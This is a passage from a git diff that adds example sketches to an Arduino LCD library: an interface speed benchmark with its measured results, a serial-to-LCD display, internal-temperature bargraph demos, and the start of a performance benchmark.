0x12, 0x12, 0xc, 0, 0, 0x0 }, + { 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0x0 }, + { 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0x0 }, + { 0x0, 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0x0 }, + { 0x0, 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0x0 } + +}; + +void setup() +{ + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + // Switch on the backlight + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + lcd.begin(16,2); // initialize the lcd + + for ( int i = 0; i < charBitmapSize; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } + + lcd.home (); // go home + lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); + delay ( 1000 ); +} + +void loop() +{ + lcd.home (); + // Do a little animation by writing to the same location + for ( int i = 0; i < 2; i++ ) + { + for ( int j = 0; j < 16; j++ ) + { + lcd.print (char(random(7))); + } + lcd.setCursor ( 0, 1 ); + } + delay (200); +} diff --git a/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde new file mode 100644 index 0000000..4edcddc --- /dev/null +++ b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde @@ -0,0 +1,274 @@ +static char dummyvar; // dummy declaration for STUPID IDE!!!! +/*---------------------------------------------------------------------------- + * vi:ts=4 + * + * LCDiSpeed - LCD Interface Speed + * + * Created by Bill Perry 2012-03-16 + * Copyright 2012 - Under creative commons license 3.0: + * Attribution-NonCommercial-ShareAlike 3.0 Unported (CC BY-NC-SA 3.0) + * license page: http://creativecommons.org/licenses/by-nc-sa/3.0/ + * + * Sketch to measure and report the speed of the interface to the LCD and + * speed of updating the LCD. + * + * It runs a Frames/Sec (FPS) test which writes a "frame" of each digit 0-9 to + * the display. + * A "frame" is a full display of characters. + * It is created by positioning the cursor to the begining of each row + * and then writing a character to every position on the row, until the + * entire display is filled. + * The FPS test does a frame of 9's then 8's, .... down to 0's + * On fast interfaces it will not normally be seen. + * + * The sketch will then calculate & report transfer speeds and + * LCD update rates to the LCD display. + * + * Reported Information: + * - Single byte transfer speed (ByteXfer) + * This is the time it takes for a single character to be sent from + * the sketch to the LCD display. + * + * - Frame/Sec (FPS) + * This is the number of times the full display can be updated + * in one second. + * + * - Frame Time (Ftime) + * This is the amount of time it takes to update the full LCD display. + * + * + * The sketch will also report "independent" FPS and Ftime values. + * These are timing values that are independent of the size of the LCD under test. + * Currently they represent the timing for a 16x2 LCD + * The value of always having numbers for a 16x2 display + * is that these numbers can be compared to each other since they are + * independent of the size of the actual LCD display that is running the test. + * + * All times & rates are measured and calculeted from what a sketch "sees" + * using the LiquidCrystal API. + * It includes any/all s/w overhead including the time to go through the + * Arduino Print class and LCD library. + * The actual low level hardware times are obviously lower. + * + * History + * 2012.03.15 bperrybap - Original creation + * + * @author Bill Perry - bperrybap@opensource.billsworld.billandterrie.com + *---------------------------------------------------------------------------- + +/* + * Define your LCD size + */ +#define LCD_COLS 16 +#define LCD_ROWS 2 + +/* + * Pick your interface. + */ + +//#define LCDIF_4BIT +//#define LCDIF_I2C +//#define LCDIF_SR2W +//#define LCDIF_SR_2W // SR in 2 wire mode +//#define LCDIF_SR_3W // SR in 3 wire mode +#define LCDIF_SR3W +//#define LCDIF_SR1W + + +/* + * Options + */ + +#define FPS_iter 1 // number of iterations to repeat each "frame" within the test + // (current frame test is 10 full display frames, 1 for each digits 0-9) + // FPS_iter like 100 will allow the frames to be seen + // Note: the only reason other than visual to make this larger than 1 + // might be to compensate for Async serial buffering should a serial interface be tested + // even with 1 iteration, 340 bytes are written for a 16x2 display + // bytes written = FPS_iter * ((LCD_ROWS * LCD_COLS) + LCD_ROWS) * 10 + +#define iLCD // turn on code to calculate speed of "independent" sized display +#define iLCD_ROWS 2 // independent FPS row size +#define iLCD_COLS 16 // independent FPS col size + + +#define DELAY_TIME 3500 // delay time to see information on lcd + +#if defined(LCDIF_4BIT) + +// Include the Liquid Crystal library code: +#include + +// initialize the library with the numbers of the interface pins +// lcd(RS, E, d4, d5, d6, d7, bl, polarity) +#ifdef BACKLIGHT_ON +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7, 10, POSITIVE); // new constructor with backlight support +#else +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7); // old style constructor w/o backlight (to test old library) +#endif + +#elif defined(LCDIF_I2C) +#include +#include + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + + +#elif defined(LCDIF_SR3W) +#include + // d,clk,strb, en,rw,rs,d4,d5,d6,d7,bl,blpol +//LiquidCrystal_SR3W lcd (2, 3, 4, 6, 7, 1, 2, 3, 4, 5, 0, POSITIVE); +LiquidCrystal_SR3W lcd(3, 2, 4); + +#elif defined(LCDIF_SR2W) + +#include + // d, clk, (blPolarity optional, defaults to POSITIVE) +LiquidCrystal_SR2W lcd (2, 3); + +#elif defined(LCDIF_SR1W) + +#include +LiquidCrystal_SR1W lcd (2); + +#elif defined(LCDIF_SR_2W) + +#include + // d, clk +LiquidCrystal_SR lcd (2, 3); + +#elif defined(LCDIF_SR_3W) + +#include + // d,clk,strb +LiquidCrystal_SR lcd (2, 3, 4); + +#endif + +void setup() +{ + // set up the LCD's number of columns and rows: + lcd.begin(LCD_COLS, LCD_ROWS); + +#ifdef BACKLIGHT_ON + lcd.backlight(); // make sure backlight is on with new library +#endif +} + +void loop() +{ +unsigned long etime; +char buf[8]; + + lcd.clear(); + + + /* + * Time an FPS test + */ + + etime = timeFPS(FPS_iter, LCD_COLS, LCD_ROWS); + + /* + * show the average single byte xfer time during the FPS test + */ + showByteXfer(etime); + + /* + * show FPS rate and Frame update time for this display + */ + + sprintf(buf, "%dx%d", LCD_COLS, LCD_ROWS); + showFPS(etime, buf); + +#ifdef iLCD + /* + * calculate Independent FPS and Frame update time + * (rate & time for a "standard" display - default of 16x2) + * This is simply a matter of scaling the time based on the + * ratio of the display sizes. + */ + + etime = etime *iLCD_ROWS * iLCD_COLS / LCD_ROWS / LCD_COLS; + + /* + * show independent FPS rate & Frame update time + */ + sprintf(buf, "%dx%d", iLCD_COLS, iLCD_ROWS); + showFPS(etime, buf); +#endif + +} + +unsigned long timeFPS(uint8_t iter, uint8_t cols, uint8_t rows) +{ +char c; +unsigned long stime, etime; + + stime = micros(); + for(c = '9'; c >= '0'; c--) // do not change this unless you change the FPS/ByteXfer calcuations as well + { + for(uint8_t i = 0; i < iter; i++) + { + for(uint8_t row = 0; row < rows; row++) + { + lcd.setCursor(0, row); + for(uint8_t col = 0; col< cols;col++) + { + lcd.write(c); + } + } + } + } + etime = micros(); + return((etime-stime)); +} +void showFPS(unsigned long etime, const char *type) +{ +float fps; + + + /* + * calculate Frame update time and FPS rate + * The 10.0 is for the 10 frames done per iteration + * one for each digit 0-9 + */ + + fps = (10.0 * FPS_iter) * 1000000.0/(etime); + + + lcd.clear(); + lcd.print(type); + lcd.print("FPS: "); + lcd.print(fps); + + if(LCD_ROWS > 1) + { + lcd.setCursor(0,1); + } + else + { + delay(DELAY_TIME); + lcd.clear(); + } + lcd.print("Ftime: "); + lcd.print((etime)/10.0/FPS_iter/1000); + lcd.print("ms"); + + delay(DELAY_TIME); +} +void showByteXfer(unsigned long etime) +{ + lcd.clear(); + lcd.print("ByteXfer: "); + /* + * Calculate average byte xfer time from time of FPS test + * This takes into consideration the set cursor position commands which + * are single byte commands and take the same amount of time as a data byte write. + * The final result is rounded up to an integer. + */ + lcd.print((int) (etime / (FPS_iter * (10.0 * (LCD_COLS * LCD_ROWS + LCD_ROWS)))+0.5)); + lcd.print("uS"); + + delay(DELAY_TIME); +} diff --git a/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt new file mode 100644 index 0000000..b59d013 --- /dev/null +++ b/libraries/LiquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt @@ -0,0 +1,20 @@ +16Mhz AVR +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 338uS 86.92 11.51ms (orignal Liquid Crystal) +4BIT 98uS 298.58 3.35ms +SR2W 76uS 388.62 2.57ms +SR_2W 72uS 406.90 2.46ms +SR_3W 61uS 480.03 2.08ms +SR3W 102uS 287.92 3.47ms + + +80Mhz Pic32 (ChipKit Uno32) +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 232uS 126.73 7.89ms (orignal mpide Liquid Crystal) +4BIT 57uS 517.41 1.93ms +SR2W 53uS 557.35 1.79ms +SR_2W 53uS 554.66 1.80ms +SR_3W 50uS 591.40 1.69ms +SR3W 56uS 524.91 1.91ms diff --git a/libraries/LiquidCrystal/examples/SerialDisplay/SerialDisplay.pde b/libraries/LiquidCrystal/examples/SerialDisplay/SerialDisplay.pde new file mode 100644 index 0000000..ce21e1c --- /dev/null +++ b/libraries/LiquidCrystal/examples/SerialDisplay/SerialDisplay.pde @@ -0,0 +1,37 @@ +/* + * Displays text sent over the serial port (e.g. from the Serial Monitor) on + * an attached LCD. + */ +#include +#include + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x38 + +void setup() +{ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + lcd.begin (16,2); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + Serial.begin(57600); +} + +void loop() +{ + // when characters arrive over the serial port... + if (Serial.available()) + { + // wait a bit for the entire message to arrive + delay(100); + // clear the screen + lcd.clear(); + // read all the available characters + while (Serial.available() > 0) + { + // display each character to the LCD + lcd.write(Serial.read()); + } + } +} diff --git a/libraries/LiquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde b/libraries/LiquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde new file mode 100644 index 0000000..5eaad1f --- /dev/null +++ b/libraries/LiquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde @@ -0,0 +1,246 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO.pde +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA328p temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include + +#define _LCD_I2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 7 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 334 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +#endif +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; + + + +LCD *myLCD = &lcd; + +static double tempFilter; + + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ + +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC8; // activate interal temperature sensor, + // using 1.1V ref. voltage + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, -30, 50, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +void setup () +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + analogReference ( INTERNAL ); + +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + lcd.backlight(); + digitalWrite(BACKLIGHT_PIN, HIGH); + analogWrite (CONTRAST_PIN, CONTRAST); +#else + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite(BACKLIGHT_PIN, HIGH); +#endif + + myLCD->begin ( 16, 2 ); + + // Load custom character set into CGRAM + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } + Serial.println ( freeMemory () ); + + myLCD->clear (); + myLCD->print ("Temp:"); + + tempFilter = readTemperature (); // Initialise the temperature Filter + +} + + +void loop () +{ + int temp; + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (200); +} diff --git a/libraries/LiquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino b/libraries/LiquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino new file mode 100644 index 0000000..f981507 --- /dev/null +++ b/libraries/LiquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino @@ -0,0 +1,332 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO_tempLeonardo.ino +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA32U4 temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include +#include + +#define _LCD_SR3W_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 12 + +/*! + @defined STATUS_PIN + @abstract Status LED indicator. + @discussion Activity LED blinking indicating that the system is up. +*/ +#define STATUS_PIN 13 + +/*! + @defined LOOP_DELAY + @abstract Main loop delay. + @discussion Main loop delay executing temperature readings and LCD updates. +*/ +#define LOOP_DELAY 300 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 282 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +/*! + @defined MIN_TEMP + @abstract Minimum temperature range for bargraph + +*/ +#define MIN_TEMP -10 + +/*! + @defined MAX_TEMP + @abstract Maximum temperature range for bargraph + +*/ +#define MAX_TEMP 50 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + + +// Initialise LCD module +// ----------------------------------------------------------------------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(3,2,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + + +// LCD reference variable +LCD *myLCD = &lcd; + +// Temperature filter variable +static double tempFilter; + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC7; // activate interal temperature sensor, + // using 2.56V ref. voltage + ADCSRB |= _BV(MUX5); + + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, MIN_TEMP, MAX_TEMP, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +/*! + @function + @abstract Initialise the HW + @discussion Initialise the HW used within this application: UART, LCD & IOs + @param + @result +*/ + +static void initHW ( void ) +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + + // Hardware initialise + // ------------------------------------ + + //ADCSRA |= (1 << ADEN); // Initialise ADC block (no need done by env) + + // Initialise LCD HW: backlight and LCD + // ------------------------------------- +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite (CONTRAST_PIN, CONTRAST); +#endif + +#ifdef _LCD_I2C_ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite (BACKLIGHT_PIN, HIGH); +#endif + pinMode ( STATUS_PIN, OUTPUT ); + + myLCD->begin ( 20, 2 ); + // Load custom character set into CGRAM + // -------------------------------------------------------------------- + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + +void setup () +{ + initHW(); + + Serial.println ( freeMemory () ); + myLCD->clear (); + myLCD->print ( F("Free Mem: ")); + myLCD->print ( freeMemory () ); + delay ( 2000 ); + myLCD->clear (); + myLCD->print (F("Temp:")); + myLCD->setCursor ( 8, 0 ); + + tempFilter = 0; + myLCD->print ( readTemperature() ); +} + + +void loop () +{ + int temp; + static byte status = 1; + + status ^= 1; + digitalWrite ( STATUS_PIN, status); + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + // Display the information to the LCD + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (LOOP_DELAY); +} \ No newline at end of file diff --git a/libraries/LiquidCrystal/examples/performanceLCD/performanceLCD.pde b/libraries/LiquidCrystal/examples/performanceLCD/performanceLCD.pde new file mode 100644 index 0000000..dea6c50 --- /dev/null +++ b/libraries/LiquidCrystal/examples/performanceLCD/performanceLCD.pde @@ -0,0 +1,480 @@ +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file performanceLCD.h +// This sketch implements a simple benchmark for the New LiquidCrystal library. +// +// @brief +// This sketch provides a simple benchmark for the New LiquidCrystal library. It +// enables to test the varios classes provided by the library giving a performance +// reference. +// +// This library is only compatible with Arduino's SDK version 1.0 +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// Contribution by flo - Florian@Fida.biz - for benchmarking SR +// --------------------------------------------------------------------------- +#include + +#define _LCD_I2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + +#ifdef _LCD_SR1_ +#include +#endif + +// C runtime variables +// ------------------- +#ifdef __AVR__ +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; +#endif + +// Constants and definitions +// ------------------------- +// Definitions for compatibility with Arduino SDK prior to version 1.0 +#ifndef F +#define F(str) str +#endif + +/*! + @defined NUM_BENCHMARKS + @abstract Number of benchmarks in the project. + */ +#define NUM_BENCHMARKS 4 + +/*! + @defined ITERATIONS + @abstract Number of benchmarks iterations to perform. + */ +#define ITERATIONS 10 + +/*! + @defined LCD_ROWS + @abstract LCD rows + @discussion Defines the number of rows that the LCD has, normal LCD ranges are (1, 2, 4). + */ +#define LCD_ROWS 2 + +/*! + @defined LCD_COLUMNS + @abstract LCD available columns + @discussion Defines the number of colums that the LCD has, normal LCD ranges are (8, 16, 20). + */ +#define LCD_COLUMNS 16 + +/*! + @const Pin constant definitions + @abstract Define several constants required to manage the LCD backlight and contrast + */ +#ifdef _LCD_I2C_ +const int BACKLIGHT_PIN = 12; +const int CONTRAST_PIN = 0; // none +const int CONTRAST = 0; // none +#endif + +#ifdef _LCD_4BIT_ +const int CONTRAST_PIN = 9; +const int BACKLIGHT_PIN = 7; +const int CONTRAST = 120; +#endif + +#ifdef _LCD_SR_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR1_ +const int CONTRAST_PIN = 0; // not connected +const int BACKLIGHT_PIN = 0; // none +const int CONTRAST = 0; +#endif + +#ifdef _LCD_SR3W_ +const int CONTRAST_PIN = 0; // none +const int BACKLIGHT_PIN = 5; +const int CONTRAST = 0; +#endif + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. + */ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 } +}; + +/*! + @typedef t_benchmarkOp + @abstract Function pointer associated to each benchmark. + */ +typedef long (*t_benchmarkOp)( uint8_t ); + +/*! + @typedef t_timeBenchMarks + @abstract Structure to store results of the execution time of the benchmark. + @field benchmark: function pointer of the benchmark to be executed. + */ +typedef struct +{ + t_benchmarkOp benchmark; /**< Function pointer associated to the benchmark */ + long benchTime; /**< execution time for benchmark 1 in useconds */ + uint16_t numWrites; /**< Number of write cycles of the benchmark */ +} t_benchMarks; + + +// Main LCD objects +// ---------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2); +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(8,7,TWO_WIRE); +#endif + +#ifdef _LCD_SR1_ +LiquidCrystal_SR1 lcd(2); +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +#endif + +// benchMarks definitions +// ---------------------- +extern long benchmark1 ( uint8_t ); +extern long benchmark2 ( uint8_t ); +extern long benchmark3 ( uint8_t ); +extern long benchmark4 ( uint8_t ); + +//! @brief benchmark structure that will be initialised and +static t_benchMarks myBenchMarks[NUM_BENCHMARKS] = +{ + { benchmark1, 0, (LCD_ROWS * LCD_COLUMNS) + 2 }, + { benchmark2, 0, LCD_ROWS * LCD_COLUMNS * 6 * 2 }, + { benchmark3, 0, 40 + 2 }, + { benchmark4, 0, 40 + 2 } +}; + +// Static methods +// -------------- +/*! + @function freeMemory + @abstract Return available RAM memory + @discussion This routine 